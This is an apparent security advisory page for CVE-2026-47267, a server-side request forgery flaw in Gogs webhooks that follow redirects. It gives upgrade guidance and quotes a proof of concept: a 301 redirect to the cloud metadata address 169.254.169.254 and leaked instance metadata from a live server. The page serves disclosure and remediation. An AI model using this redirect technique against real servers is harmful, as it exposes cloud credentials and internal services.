How to Fix CVE-2026-47267

To remediate this vulnerability, upgrade all affected Gogs.io/gogs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

gogs.io/gogs fixed: 0.14.3 
Upgrade gogs.io/gogs to 0.14.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for gogs.io/gogs

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-47267, inspect your project dependencies for Gogs.io/gogs:

inspect dependencies for gogs.io/gogs

Analyze the terminal output to locate any version of Gogs.io/gogs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.14.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Gogs.io/gogs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs. This was already communicated in the initial report but it looks like there was a bit of a miscommunication. ### Details By creating a webook pointing to any URL that will return the following: ``` HTTP/1.1 301 Moved Permanently Location: http://169.254.169.254/metadata/v1.json Content-Length: 0 Connection: close ``` It is possible to access 169.254.169.254 ### PoC 1. Run netcat on any server 2. Use this server as the webhook URL 3. Once you get the request from the webhook (for example by testing it), copy the response above Results from running this on try.gogs: ``` {"droplet_id":456901166,"hostname":"gogs-do-nyc3-01","vendor_data":"Content-Type: multipart/mixed; boundary=\"===============8645434374073493512==\"\nMIME-Version: 1.0\n\n--===============8645434374073493512==\nMIME-Version: 1.0\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config\"\n\n#cloud-config\n\n# Enable root and password auth\ndisable_roo...{"dhcp_enabled":false,"vpc_peering_enabled":false},"dotty_status":"running","ssh_info":{"port":22}} ``` ### Impact Server Side Request Forgery ### Fix The "simplest way" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname
